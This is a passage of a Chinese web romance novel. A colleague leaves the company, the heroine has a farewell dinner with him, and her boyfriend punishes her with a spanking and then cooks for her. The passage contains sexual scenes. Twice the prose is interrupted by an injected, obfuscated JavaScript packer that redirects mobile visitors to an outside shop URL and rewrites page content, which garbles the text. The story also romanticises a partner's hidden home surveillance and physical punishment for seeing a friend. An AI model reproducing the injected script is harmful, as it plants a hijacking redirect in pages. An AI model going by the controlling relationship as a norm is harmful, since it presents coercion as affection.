既然陈驰之收到橄榄枝,其他核心员工,想必这几天也被联系过。不知道接下来,还会有几个人提离职。 池修白收拢发散的思维,点了点头:“你手头的工作就直接交到我就行,不必等人交接了,下周一就可以办离职。” 陈驰之犹豫后开口:“下周一我不想再过来了,可以现在就办离职吗?” 陈驰之怕等周一看见田妙妙后,他又舍不得走了。 故而,今天特地过来工作室,赌一把池修白会不会出现。 池修白同意他的诉求:“好。不过你的薪资需要等周一人事上班之后帮你核算,估计要晚几天才能打到你卡上。” “好。”陈驰之同意。 “接下来要去哪个公司?云辰科技?”池修白随口问道。 陈驰之摇头:“不是,我决定去凌霄科技。” 池修白:“还是游戏业务?” 陈驰之:“嗯,其实秋招的时候,我就拿过凌霄的offer,只不过不是游戏业务的。现在他们打算进军游戏市场,正好缺人手,给的条件也很高,我就打算去试试。” “怎么没想着去云辰,这样的话,对我的杀伤力会更大一些。”池修白逼视他,直言:“恨我么?” 49. 第 49 章 恨他吗? 听到池修白直白的问话,陈驰之自然垂放的手掌,猛地捏成拳头。 手劲用力到指节发白,骨缝中传出摩擦的声响,却始终无法一拳挥出去。 陈驰之双目猩红,胸腔剧烈起伏,艰难地摇头,嗓音粗哑,像废旧漏气的破风箱。 “我更恨自己。”他一字一顿地说。 “为什么?”池修白情绪淡淡地发问。 陈驰之满脸懊恼,自嘲道:“如果我能早点认清自己的内心,就不会拖这么久才向她表白,以至于错过最佳时机。” 池修白听后笑了下,微微摇头,开解他:“没有如果,她来S市就是冲着我家来的。只要这个前提条件不变,你就永远没有机会。所以,你不必介怀她没有选择你。” 陈驰之拧眉:“什么意思?” 池修白简单地把两人的渊源,和陈驰之讲了一下,“总之,我和她注定会相遇,也注定会比普通同事走得更近。” 陈驰之心中仍是愤懑:“只是为了报恩,会发展成恋爱关系?” 池修白自省,他和田妙妙的关系走到这一步,当然是他纵容且推进的,即便重来一次,也不会有改变。 想到田妙妙的音容笑貌,池修白脸上浮起一抹宠溺的笑意:“你知道的,她这人挺招人喜欢的,一来二去,关系总会变的。” “希望你对她是认真的,她能走到今天很不容易,吃了很多苦。”陈驰之抬手,冲池修白亮了亮拳头:“如果将来你伤害了她,下次再见面,我一定会挥拳。” 池修白站起身,走到陈驰之身边,拍拍他的肩膀:“放心吧,我当然会照顾好她。” 陈驰之苦涩一笑,转身离开。 送走陈驰之,池修白拿起桌面上的离职申请书,拍了张照片,发给田妙妙。 田妙妙:【啊?怎么这么突然!!!】 池修白:【早点做出决定也好。】 田妙妙:【你好好挽留一下他吧,他很崇拜你的,说不定你一挽留,他就会留下来了。】 池修白:【呵,我看你是根本不懂男人。】 田妙妙:【唉,那好吧,问天失去了一位人才,好可惜啊……】 池修白:【行了,别瞎想了,好好刷你的科目一。】 田妙妙:【你怎么知道我正在做题,感觉蛮简单的,我刚刷完一套题,才错两道哦。】 田妙妙把自己的刷题战绩,截图发给池修白,企图求表扬。 池修白直接给她发了个红包,封面写着“真棒”。 田妙妙笑嘻嘻地领了红包,回复一个卖萌表情包,“老板大气”。 池修白没回复,开始处理工作。 田妙妙窝在沙发上,思绪混乱地躺着,实在没心情继续刷题。 脑海里想的都是,陈驰之的离职申请书。 田妙妙知道他可能会离职,但实在没想到他的动作会这么快。她前脚刚问他会不会离职,后脚他就递上了辞呈。 有种被她逼走了的感觉。 想必表白失利一事,定然给他带来了巨大伤害,令他无论如何都要离开当前的工作环境。 其实想想也能理解,陈驰之那么优秀,恐怕成长的路上从未受过什么打击,只有他打击别人的份。 偏偏这样的人,在她身上惨遭滑铁卢,是个人都要产生自我怀疑了。 田妙妙想,既然已经知道他要离职的事,就不能当作什么事情都没发生。 她点开和陈驰之的聊天界面,斟酌再三,输入:你要离职了? 想了想,又觉得这话完全是句废话,干脆删掉。 重新输入“你还在生我的气吗?” 这话听着有点茶,赶紧删掉。 她有些犯难,不知道该怎么面对陈驰之,可是如果对此不闻不问,又过不了自个心里那关。 田妙妙索性豁了出去:【我刚知道你提离职了,方便一起出去吃个饭吗?】 之前,陈驰之请她吃过一顿饭,那现在换她请回去,也合情合理吧? 如果他拒绝的话,自己也能跨过心里那道坎。 没一会儿,陈驰之回复:【如果是你和他一起请我的话,就算了吧。】 田妙妙:【当然是我单独请你,就当为你践行,之前你请我吃火锅,你忘了吗?】 陈驰之:【如果你有话想对我说,我可以同意去吃饭,如果只是想还一顿饭的话,就没有必要了。我明天的飞机,现在正在收拾东西。】 田妙妙:【明天你就走了?我还以为起码下周一去办离职流程呢。既然这样的话,今天这顿饭一定要请。】 陈驰之:【如果这是你的想法,我没意见。】 田妙妙:【嗯嗯,我先看一下吃什么,到时候给你发地址。】 陈驰之:【他知道吗?】 田妙妙一愣,请陈驰之吃饭这事,她没有想过跟池修白说,感觉没什么必要,说了还会让他多想。 田妙妙:【不用管他啦,只是我请你而已。】 陈驰之:【好吧。】 一个小时后,正值中午饭点,两人来到一家自助烤肉店前。 陈驰之看上去面容憔悴,眼仁中散布红血丝,眼下有明显的黑印,嘴周有一圈淡淡的胡茬。 田妙妙穿得和之前差不多,没有特意打扮什么,她不想让他误会什么。 自从表白之后,这还是两人第一次面对面交流。 一时间,田妙妙话都不知道该怎么说,尴尬地杵在门口。 陈驰之叹了口气,主动道:“进去吧。” “嗯。没人排队,挺好的,不用等位了。”田妙妙没话找话。 服务员引导他们落座后,陈驰之起身去自助区拿腌制好的肉片。 田妙妙也跟着过去。 “你……”到了自助区,田妙妙无心面前的一盘盘肉,开口问:“你要去很远的城市吗?” 都需要坐飞机了。 陈驰之点头:“去B市。” 田妙妙:“哦哦,那挺远的。” 跨了大半个中国呢。 不过,好在不是出国。要是因为这事,他直接出国的话,田妙妙心里更过意不去了。 “嗯。”陈驰之回头,见她手中空空,什么也没拿,便让她回去等着:“你想吃什么,我帮你拿。” “随便吧。”田妙妙想了想,又说:“什么贵拿什么,这样能吃回本。” 陈驰之轻轻笑了下,没有说什么。 田妙妙只拿了一些生菜,回位等着。 陈驰之端着一大摞叠放的方盘子回来,放下后,接着去拿别的食材。 第二次回来,除了继续端来肉,还给田妙妙带了一盒冰淇淋。 田妙妙摆摆手:“我现在不能吃冷的,大姨妈来了。” 陈驰之:“哦,抱歉。” 他把冰淇淋把自己那侧,折返回去,给她盛了一碗银耳莲子汤。 “谢谢。”田妙妙让他别忙活了:“要不你先坐下吧,我们先吃,不够再拿。” 陈驰之点头坐下,开始把腌制好的肉片铺在烤盘上。 田妙妙伸手去拿他手中的夹子,想承接下烤肉的活。 陈驰之却说不用,他来就好,没有把夹子给她。 “你真贴心。”田妙妙一边喝着温热的银耳汤,一边看着他烤肉时娴熟细致的动作。 “平时都是你照顾他多吗?”陈驰之突然问。 田妙妙直接愣住,陈驰之这是把她的夸赞,当成对池修白的抱怨吗? 她摇头,很维护池修白:“没有啊,他对我很好,也不让我做什么,我照顾他也是因为我习惯照顾别人而已。” “哦,我还以为你和他在一起后,会比较受委屈。”陈驰之温声说:“抱歉,我多想了。” “现在是我们两人吃饭,就不提闲杂人士了。”田妙妙把话题岔开:“你去B市的话,要入职哪个公司呀?” 陈驰之:“凌霄科技。” 田妙妙相当捧场:“哇哦,很有名的互联网大厂哎,果然离开问天这个小平台,也没什么可惜的嘛,哈哈。” 陈驰之扯了下嘴角。 秋招的时候,他拒绝过很多互联网大厂,一心选择追梦,结果兜兜转转,还是回到既定的轨道上。 他甚至有点怀疑,他一开始的选择对不对。 “有时我在想,我是不是不该来面试问天。” 田妙妙喝汤的动作顿住,缓了一会儿才说:“对不起,是我不该来面试问天,害你离开了。” “没有,离开是我的选择,不是被你害的,你千万不要这么想,否则我心里有愧。” “现在心里有愧的是我。”田妙妙看着他,认真地说:“我希望你不要因为这件事否定自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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今后相隔甚远,再见又不知是何年何月,告别的时刻总让人伤怀。 田妙妙上前与他拥抱了一下,轻声说:“保重。” 陈驰之回抱她,明明忍到了现在,眼泪还是猝不及防掉下来。 他哽咽地回了句:“保重。” 几秒钟后,他松开她,转身快步离去,不肯让她看见,他哭的样子。 田妙妙本来没想哭的,被他那声哽咽搞得鼻酸,她抬手对着眼睛扇风,把泪忍了下来。 * 回家后,打开门,看见客厅沙发上坐着池修白,田妙妙吓得倒抽一口气。 池修白抬头,脸色很黑,周身弥漫着一团看不见的黑雾,极具压迫感。 他冷冷开口,语气不善:“刚才去哪了?” “你什么时候回来的?等多久了,饿不饿,我去做饭。”田妙妙心虚不已,边说,边往厨房走。 “站住。”池修白沉声叫住她:“我问,你刚才去哪了?” 田妙妙停住脚步,顾左右而言他:“那个,我肚子不舒服,我去换一下卫生巾。” 池修白站起身,一步步朝她走过去。 田妙妙不停后退,逐步被逼到卫生间门口。 她刚碰到门把手,池修白的身躯从背后覆上来,伸手牢牢压住她的手。 完全动不了了。田妙妙脊背僵直,后颈汗毛倒竖,她不敢转身。 池修白的声音在她耳边响起,声量虽轻,但很危险:“问你话呢,你躲什么?” “刚才到底去见谁了?” 田妙妙梗着脖子回答:“没见谁啊。”声音哆哆嗦嗦。 “心虚成这样?”池修白把她翻过来,阴沉沉的眼眸正面盯着她,“老实交代,我不会吃了你。你要明白,我绝对不接受任何的隐瞒和背叛。” 田妙妙不敢忤逆他,没提前跟他讲,确实做得不太地道,但她也没料到,池修白此刻不在工作室加班,偏偏回家了,一下子把她逮个正着。 她小声坦白:“刚才出去,是去请陈驰之吃饭的。” “请他吃饭要背着我?”池修白面色阴沉,“拿我当什么人了?” “当、当我男朋友,全世界最重要的男朋友。”田妙妙讨好地开口:“不是背着你,是觉得这事不重要,怕你知道后会多想。” “不要以为随便几句好话,就能把我哄过去。” 田妙妙壮着胆子,主动贴上去,在他唇上啄了下:“那你说怎么办吧?” 50. 第 50 章 “不要仗着经期,就敢做出格的事。”池修白咬她的嘴巴,牙齿在她柔软的唇瓣上细细研磨,用气声说:“晚上你会后悔的。” 田妙妙打了个颤,心跳加速,对晚上会发生的事,既害怕,又期待。 “不过呢,既然犯错,就要接受惩罚,否则你不会长记性。” 语毕,在田妙妙还没反应过来之际,他一把将她打横抱起来。 快步走到沙发边,坐下后,又将她在腿上翻了个面。 不过短短几秒钟,田妙妙就从站着,变成趴在他大腿面上。 池修白双腿分开,支撑起田妙妙的上半身。 她往前爬了两步后,被池修白按住后腰,此刻臀部的位置,正好卡在他双腿之间。 “对,保持这个姿势,不要乱动。”池修白把她两条胳膊拧到背后,牢牢固定住。 田妙妙一动不能动,羞耻感爆棚。 这完全是犯错的小孩子,被家长按在腿上打屁股的前兆啊…… 等等,打屁股?! 田妙妙脸腾地热起来。 他说的惩罚,该不会是要打她屁股吧? 很快,不容她胡思乱想,凌厉的掌风划破静谧的空气,屁股上顿时传来一声沉闷的声响,痛感紧随其后。 田妙妙心尖随之一同颤动,口中呼出一声闷哼。 “知道自己犯了什么错吗?”池修白的手一动不动安放在她的牛仔裤上,极具压迫感。 “我不该去见他。”田妙妙小声说,她有些委屈:“可是如果不去的话,他就这样走了,我心里会很内疚。” 紧接着,屁股上又是一巴掌。 田妙妙浑身颤抖,小脸磨蹭着沙发,口中呜咽声变了调。 可恶,为什么身体里会有奇怪的感觉……像是有什么东西喷薄而出…… 好羞耻……好舒服…… 池修白沉声:“我看你到现在都不知道自己错在哪了。我有说过你不能见他吗?是不能背着我私自见面。” 真没想到,池修白这人看着清风霁月,什么都不在乎,实际上控制欲这么强。 “我、我知道错了,我以后再也不敢了。”田妙妙嗡声嗡气地道歉。 “那你说,该不该打?”他的话带着浓浓的训诫意味。 田妙妙咬着唇,眼中雾气朦胧,羞怯地点点头。 池修白不满:“出声。” 田妙妙声音轻颤:“该、该打。” 下一秒,他的巴掌再度落下,比前两次更重一点。 田妙妙的身躯在他腿上轻弹了下,像条离水的鱼。 要说多痛倒也不至于,可羞耻感会将细密的感受无限放大,她感觉自己的身体要爆炸了,承认不了更多的刺激。 “好了,今天的惩罚就到这里。下次再犯,就不止三下。” 池修白说完后,将她扶起来,见她面红耳赤,剧烈喘息,一副要被玩坏的模样。 田妙妙羞臊不已地乱躲,根本不敢抬头看他。 “看来你很喜欢这个。”池修白把她抱在怀里,手掌轻轻揉动,帮她放松挨打处的肌肉,“以后在床上可以多试试。” 田妙妙的脸更红了,把头死死埋在他怀里:“你好烦啊。” “只是说了点实话,就受不了了?”池修白继续刺激她。 田妙妙去捂他的嘴,希望他别再说了,“你再说,我真的不想理你了。” “真不经逗。”池修白轻笑。 田妙妙平息完,问道:“你怎么突然回来了?” “我帮你点了酒店的送餐,结果没人开门签收。我调了下监控,看见你不在家,就过来一趟。” “什么,家里安装了监控?”田妙妙一秒直起身,眼神四处搜寻,果不其然在墙顶处看见了监控头:“我之前居然没有注意到。” “谁家能不安装一些监控设备呢?”池修白一脸坦然,不觉得这有什么怪异的,毕竟只是最基础的安保措施。 “哦。”田妙妙双腿分开,鸭子坐式,跪在沙发上,怀中抱着靠枕,下巴搭在上面,皱着眉咕囔:“就是很怪啊,一点秘密都没有了。” “你心底还有什么秘密?”池修白侧头望她,见她当前这副模样着实很可爱,忍不住捏她的脸,淡笑:“来吧,一块儿说出来。” 田妙妙心头发怵,去咬他的手,池修白没躲,她一口咬在虎口处,却没用力。见他不移开手,只能自己松开。 “老实交代,还有什么见不得人的事。”池修白拧了一下她的鼻尖。 田妙妙吃痛摇头:“我就一普通得不能再普通的人,哪有什么秘密!” “很少见你联系你爸爸。”池修白没多加思索,脱口说:“你来S市那么长时间,他都不过问的吗?” 田妙妙心里咯噔,面不改色地瞎编乱造:“他很忙,在外地打工,根本没空理我。” “哦。”池修白没怀疑她的说法,在脑海中过滤了一遍自己的交际网,应当能帮上忙,便问:“你现在就他一个亲人了,如果你想离他近一点,我可以帮你爸介绍个包吃住的轻松工作。” 田妙妙心道,这么好的工作还不如介绍给我,介绍给田建军这个渣滓实在是太可惜了! “不用,我爸这人心气高,不肯接受别人的安排,害怕欠人情,这事就不用费心了。”她死都不可能让她爸过来的。 池修白:“这件事并不麻烦,你可以和叔叔讲一下,做做思想工作。” “嗯嗯,我先替他谢过你了。”田妙妙口上应道,马上起身,往厨房走:“我去切个果盘过来。” 赶紧把这个话题打住。 她的家庭状况糟糕透顶,他爸又是一个拟人生物,她不愿意让池修白知道这件事。 在厨房里叮呤当啷忙活一通,田妙妙端着一大盘果切回到客厅。 还做了一份酸奶水果捞。 池修白看见酸奶碗,蹙眉:“经期不能吃冷的,怎么一点都不注意呢,还用我提醒?” 田妙妙把酸奶水果捞递给他:“这是给你做的。” 池修白接过:“谢谢。” 田妙妙叉了一块桃肉,递到他嘴边,喂给他:“还忘了问你,中午吃过了吗?” 池修白咽下桃子:“吃什么吃,都给你气饱了。” “你不是叫了餐吗?”田妙妙问。 池修白臭脸道:“扔了,垃圾桶里。” 田妙妙看向垃圾桶,果然有打包盒,真是浪费啊!!!她用力闭了闭眼睛,抵抗想把餐盒从垃圾桶掏出来的冲动。 “你这个浪费粮食的大少爷,真该罚你默写一百遍悯农。” 池修白却道:“我饿了。” 语气有股子装可怜的委屈巴巴。 田妙妙无奈:“好吧,我去做饭,不过只有面条,爱吃不吃。” “只要不难吃就行。” 田妙妙从冰箱冷冻层翻出,之前做太多吃不完,分装保存的番茄牛腩。 加热后给他下了一碗番茄牛腩面。 池修白靠在厨房门框,安静地看田妙妙做饭。 她随手挽了个低丸子头,系着围裙,窗外阳光洒在她身上,给她头顶的发丝和流畅的面部轮廓,镀了一层柔和的金边。 她周身呈现一种神性的光辉,像妻子,像母亲。 他突然有点理解,为什么总有一大批人,想走入婚姻的围城。 池修白心襟荡漾,走上前,从背后抱住她。 田妙妙温声说:“别急,马上就好了。” “嗯,先让我抱会。”池修白闭着眼睛。 几分钟后,田妙妙关火,把番茄牛腩面盛出来。 “好了,可以吃了。” 池修白不舍地松开手臂,去端灶台边的面条,放到岛台上。 池修白开始吃面。或许是真饿了,他吃得比平时快,看起来很香。 田妙妙心中泛起一阵满足感:“番茄牛腩不是现做的,不过味道还是不错吧?” 池修白点头。 其实他吃过很多星级酒店大厨的手笔,田妙妙的厨艺,与之相比算不上多厉害,只是吃她做的饭,心里有种难以言说的慰藉感,这种感受不是简单的色香味能做到的。 他想,这或许就是大家口中的幸福感。 “你下午还回工作室吗?”田妙妙在一旁吃着水果问。 “不用,我在书房办公就行,暂时用不着工作室的电脑。” 田妙妙点头:“好,我不会打扰你的。” “打扰也行。”池修白边吃边说:“用不着跟我客气。” “其实我挺想跟你一起办公的,不过书房好像只有一张办公桌、一台电脑。”田妙妙说,心中有些可惜,热恋期难免想每时每刻都在一起。 面条很快吃完,池修白起身收拾碗筷。 “以前我一个人住,书房设备只安装了单人使用的,等之后我联系设计师改造一下。” “好啊。”田妙妙很动容,有种被他安排进人生规划中的错觉,得寸进尺地问: “那我可以改一下,房子其他地方的装修吗?主要是软装这一块,大概换个风格。” “可以。”池修白启动完洗碗机,回客厅拿起手机,给她转了一笔钱:“你先用着,不够再跟我说。”< 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他并没有拿钱猛砸她,带着居高临下的羞辱意味,只是在她需要的时候,自然而然地给她花。 “其实,我也不知道该怎么处理我们之间掺杂的金钱关系。”田妙妙咬着一块羊角蜜,有些苦恼地开口。 “我给你花钱,你会觉得特别屈辱、特别愤怒,在心里面记恨我吗?”池修白平静地问:“其实我也会担心,你会觉得别扭不舒服。” “我才没有那么不识好歹,别人给我花钱,我还生气,那不是神经病吗?”田妙妙斩钉截铁地回答: “我只是,有一点害怕,害怕自己会依赖上这种感觉,胃口会越来越大。” “只要不是负面情绪就行。因为有一类人的自尊心高到,看见别人花钱,哪怕是好意,也会觉得是对自己人格上的侮辱。” “我如果是那种人,肯定不会把那封信交给你了。”田妙妙坦白:“其实在最开始的时候,我就是想要走捷径的。” “人之常情。”池修白说:“再说,你完全有资格。” “你会不会……” “不会。”池修白直接打断她。 “你知道我想问什么?” “嗯。”池修白直言:“这种事情不用多加讨论了。关于女人和我在一起,到底是不是为了钱,我真的不介意。 钱,只要能发挥正向作用,于我而言就是助力。容易耿耿于怀的人,大概率也没什么钱。” “虽然我很想说,我根本不在乎钱。但这是不可能的,其实我很在乎钱,远远比你想象中的还在乎,因为我知道没钱的日子是多么绝望。” “但是,喜欢上你这件事,确实更多的不是因为钱。虽然这么说,听起来很绿茶婊,可这就是我真实的想法。” “我当然相信啊。”池修白脸上是自信松弛的笑容,颇为嘚瑟道:“我的脸,比钱更吸引人。这点认知,总归还是有的。” 田妙妙被他的自恋,搞得忍俊不禁,“好吧,你是很帅很帅啦。” “早就被我迷死了吧?”他故意调侃。 田妙妙却很真诚、很直球地点头。 “嘶……”池修白微怔,一把搂住她,恨不得把她揉进怀里:“有时候,真不知道你是故意的,还是真情流露,怪会勾人的。” 田妙妙眼神纯真又无辜:“是真的啊。不然就你前期那么讽刺我,要不是看在脸的份上,我肯定怀恨在心啦。” “原来差点被讨厌了呢。”池修白嘴上这么说着,面上却看不出来多在意。 “不是这样的。讨厌和喜欢是两种可以并存的情绪,只是哪一种占比更高而已。” “那当前两种情绪的占比分别是多少?”池修白顺着她的话问。 “一半一半吧。”田妙妙乱说了个答案。 “哇哦,这么严格。难道不是九比一?”池修白哼笑,对答案不甚满意。 田妙妙娇俏地撇了下嘴角:“就是这么严格,不然怕你太骄傲。” 池修白冲她挑眉,那双眼盛满了蛊惑:“你不好奇我对你的情绪占比?” “也是一半一半吧。” 田妙妙当然好奇,只是不敢问罢了,怕结果不是她想的那样。 “一半喜欢,一半心疼。”他说。 嘭!这话简直像丘比特射出的箭矢,瞬间击中她的心。 “你好烦啊。”每当田妙妙招架不住时,她就爱说这句话。 “看来‘你好烦啊’,等于‘我喜欢你’。”池修白:“请问,我是不是可以这么理解?” 田妙妙脸更红了:“你好烦啊!” 51. 第 51 章 翌日清晨,田妙妙睡到日上三竿才醒。 昨晚实在被折腾得有点狠,她没料到,光是边缘性行为,竟会有那么多种花样,简直让人□□。 她只得记得,自己昏睡前,连手指都在发抖,差点以为自己要魂飞九天了。 醒来后腹中比平日里更加饥饿,应当是昨晚消耗量太大。 可明明她基本上是躺着不动的呀…… 八成是她后半程上气不接下气,做了太多无氧运动了。嗯,定是这样。 一开始他们是在各自的房间睡的,后来池修白来到她的房间,再后来床单湿了一大片,还沾染上经血,脏得不能睡了,他就把她抱到他的房间…… 这是她第一次在主卧的床上过夜,身边还躺着喜欢的人。 光是看着他安然入睡的侧脸,她整颗心脏都是无比充盈的。 她陷入了一种对幸福过度感知的怪圈中。 和池修白一起经历的种种,哪怕是再微不足道的小事,她都能感觉到幸福和甜蜜,好似泡在糖渍蜜饯的罐头中。 比如她下床去卫生间,回来后被池修白一把捞进怀里,身上的寒气被他的体温驱散,她顿时陷入一种被爱意团团包围的感觉,满足得想哭。 她以为只有金钱才能带来安全感,可他的怀抱竟有同样的功效。 她悲哀地发现,内心对池修白的眷恋,每分每秒都在加深。 或许是成长的过程中,她收获的爱太少太少,加之母亲离世后,她在世上再也没有可亲近的人,所以才格外感恩此时此刻。 她以前都没意识到,自己谈恋爱时,居然挺有黏人的天赋。明明大学时期,她最烦那些在女寝楼下,抱着不撒手的小情侣。 轮到她时,她也不遑多让。恨不得一直和池修白贴在一起。 只不过池修白比她忙的多,要处理一大堆工作上的事,她才没能得逞。 起身后,田妙妙从池修白的衣柜中,扯了一件白衬衫套上。 衬衫松松垮垮地罩在身上,遮住半截大腿。 她欲返回自己的房间,换衣服。 刚出卧室,就看见池修白,从家用健身房里出来。 他身穿纯黑紧身背心,以及同色系运动短裤。背心上半的颜色明显加深,汗液浸染所致。 他肤色较白,运动过后皮肤透着红粉,身上还挂着一层薄汗,肌肉也因充血而块状分明。 外露的皮肤,与一身黑的装束,对照鲜明,颇为吸睛。 田妙妙简直看直了眼。 池修白也一样。 眼前纤瘦的年轻女孩,正穿着他的衬衫。 衬衫布料微透,隐约间能看出她没穿胸衣。 尤其是她脸上的表情呆愣愣的,完全一副清纯娇憨的诱惑感。 让人特别想上手磋磨一番。 “看什么呢?”池修白朝她走过去,语气透着蛊惑,他指着自己道:“想不想上手摸一摸?” 田妙妙回神,视线还黏在他身上,听到他的提议后,轻轻地点头。 池修白在她面前定住,抓起她蠢蠢欲动的手掌,按在自己的胸腔处。 肌肉的韧感,汗液的湿滑,还有皮肤由内而外透出的热意。 像一团火焰,几欲点燃她的掌心。 而她,舍不得移开。 不仅如此,田妙妙还没忍住,用力抓了一把。 池修白闷哼一声,“好玩吗?” 田妙妙调皮道:“好玩。”说完,她放肆地拧了下凸起的小点。 池修白轻“嘶”了声,上前一把抱住她。 “你身上的汗弄我身上了。”田妙妙立马叫道。 “嫌弃我?”池修白搂得更紧,额头发稍上的汗液滴落到她的脖颈处,“昨晚你还舔过我的汗,忘了?” “别说了。”田妙妙面上一羞:“我哪有嫌弃你,是你抱得太紧,我要喘不过来气了。” “一大早穿这么骚。”他咬她的耳朵,手轻松撩开衣角,探进去。 “我只是睡在你的房间没衣服换,才穿你的衣服的。”田妙妙反驳:“你穿得才骚呢。” “哦,我穿这么骚,专门勾引你的。”池修白恬不知耻地说:“喜欢吗?” 田妙妙被他摸得哼哼唧唧,软了身子,好在被他牢牢箍住,没有滑到地上。呼吸间都是他身上的汗液混杂荷尔蒙的气味,还有淡淡的香味,格外迷醉。 她颤声道:“喜欢。你什么样子我都喜欢。” 这话完全取悦到池修白,他的手愈发放肆。 “我也喜欢你这样。”池修白说。 两人一路折腾到卫生间,连玩闹带洗澡,折腾了一个小时。 田妙妙终于换上干净的衣服。 “我要饿死了。”田妙妙捂着肚子说,本来起床时就饿,现在更是走路都打飘。 池修白看了眼时间,快中午了,“出去吃。” “不想出去。”田妙妙突发奇想说:“我想吃你做的爱心早餐。” “你睁眼看看时间,都中午了,还爱心早餐呢。”池修白嗤声。 田妙妙努嘴:“那我要吃你的爱心午餐。” 池修白揉揉她的脑袋:“亲手点的爱心午餐可以吗?” “不嘛,就要你做的。”田妙妙撒娇。 池修白:“你别蹬鼻子上脸,我不会做饭。” “那厨房不白装修了?”田妙妙眨眨眼,好奇追问:“你真的从来没下过厨?” “填饱肚子这种能花钱解决的事,为什么要自己动手做?”池修白说的义正言辞。 他家里一直都有请阿姨做饭,根本没有他做饭的机会,离开家后他已经有了不菲的经济收入,更不需要自己下厨了。 田妙妙拍手说:“既然这样,我更想吃你亲手做的饭了。没有别人吃过,我想当第一个。” “第一个有那么重要吗?”池修白嘀咕了句。 田妙妙点头:“当然了,谁不想当最特殊的那个人呢。” 池修白没再反驳,他说:“既然如此,我做出来的,你可要全部吃下去。” “当然,我在旁边指导你,肯定不会难吃的。” 两人来到厨房,池修白对着冰箱里的蔬菜和肉,犯了难。 “你要吃什么?”他问。 田妙妙:“随便你做。” “我这不是不知道要做什么,才问你的。”池修白瞅她一眼。 他真是没事找事,非要答应她。 田妙妙只好帮他搭配好蔬菜:“那从最简单的番茄炒蛋开始吧。” 池修白从冰箱里取出两颗西红柿,和四枚鸡蛋。 他挑了个番茄炒蛋的教学视频,两分钟后,信心满满:“一点难度都没有。” 然而下一秒打鸡蛋壳的时候,因摸不准力道,敲蛋壳时,鸡蛋直接碎在他手里。 他皱着眉把手里的壳扔掉。 “好浪费啊。”田妙妙看不下去,没忍住开口。 池修白冲手,洗完后,手上还有滑腻的触感,和微弱的蛋腥味。 第二次,他长了记性,用的力比较轻,才算成功。 “真棒。”田妙妙出言鼓励。 池修白脸热,只觉她的话很像幼师哄孩子,故而闷闷道了句:“闭嘴。” 西红柿需要先在皮上滑两刀,在热水中稍微烫一下,方便去皮。 这个步骤还算简单,池修白虽然做的慢,倒也没出差错。 田妙妙一直在旁盯着,还时不时提醒他:“别烫到手哦。” 简直把他当成不知轻重的小孩一样。 池修白无语道:“我只是没做过饭,不是弱智好吗?” “你刚才打鸡蛋的时候,还失败了耶。”田妙妙完全不给面子地指出来。 池修白一本正经地说:“是那枚鸡蛋的壳太薄了,与我无关。” “好吧。”田妙妙继续捧场:“你在做饭上也很有天赋呢。” “盲目吹捧,也不害臊,哼。”池修白淡淡开口,傲娇得不行。 田妙妙忍俊不禁,催促他:“快快快,继续,先炒鸡蛋,多放油会更香哦。” 池修白:“小葱还没准备好。” “你先开火,热油,葱花我帮你弄。”田妙妙说。 她现在饿得不行。池修白这个厨房小白,动作可真磨蹭。让她来的话,现在已经出锅了。 池修白开火后,稍微纠结了一下,火候调到中档,油放得也比较少。 他站得离锅半米远,把鸡蛋搅散后,倒入锅里。 他手臂伸长,上半身后仰,那架势唯恐油星子溅到他身上。 这纯新手的姿势,滑稽得让一旁的田妙妙笑出来。 池修白瞪她一眼:“笑什么笑?” 他拿起锅铲,要伸进锅里翻炒,被田妙妙叫住:“先让鸡蛋定一下型再翻炒,不然会搅得特别碎。” “嗯。”池修白停住,遵从她的旨意。 过了一小会,田妙妙发话:“可以了,你翻一下。” 池修白照做。 鸡蛋熟得很快,两三分钟就差不多了。 此刻蛋香味已经飘出来了,田妙妙的肚子开始咕咕叫。 池修白有些得意:“我的手艺这么强吗?这就让你食指大动了?” 我就是太饿了……田妙妙被他整无语了,但不好打击他的积极性,便说:“是啊,我可是马上要有口福了。” 池修白把鸡蛋盛出来备用,然后放入切好的西红柿块,开始翻炒。 他拿不准地问:“鸡蛋要什么时候再放进去?” 视频上只简单地说西红柿炒熟后放入鸡蛋一起调味。 田妙妙解答:“炒软出汁就行。” “哦。” 等西红柿达到状态后,池修白把一旁盛出备用的鸡蛋重新倒回锅里。 他拿起调料盒中的盐和糖,准备放进去。 田妙妙提醒:“调料少一点,少放可以再加,多放就咸了。” “这还用你说。”池修白挖了一勺盐,刚要往里放,被田妙妙拦住手,帮他把勺中的盐颠出去一半,她说:“这样就够了,刚才太多了。” 池修白有点尴尬,给自己找补一句:“我本来也只打算放一半而已。” 田妙妙敷衍:“嗯嗯。”他爱说啥就是啥吧。 等调料放完后,田妙妙把刚才切好的小葱撒进去。 池修白最后翻炒均匀后,关火盛出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269669|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “尝尝,怎么样?”池修白有点嘚瑟,头一次下厨,居然没有翻车,比如锅底糊了之类的,盛出来后卖相看起来也不错。 田妙妙夹了一块,放入口中,就是大同小异的番茄炒蛋味道,就像每家餐馆的黄焖鸡米饭吃起来口味大同小异一般,番茄炒蛋也很难做得难吃。 她夸赞道:“好吃,味道很下饭啊。” 提到饭,池修白这才想起来,根本没有煮饭…… “忘记煮米饭了。”他说:“要不还是出去吃吧?” 田妙妙居然也没想到先把米蒸上,光顾着看池修白动作生疏得炒菜了。 “没事,冰箱里还有面条,煮面条比较快。”她道。 池修白微微拧眉:“光配一盘番茄炒蛋?这条件也太艰苦了吧。” “哪里艰苦了,这是你亲手做的,在我心里比山珍海味还要丰盛!”田妙妙说。 她实在不想出门了,随便吃点东西填肚子就好了,反正下午去他父母那里,总归有好饭吃。 “你真这么想?”池修白定定地看着她,情绪很受震动。 田妙妙点头。 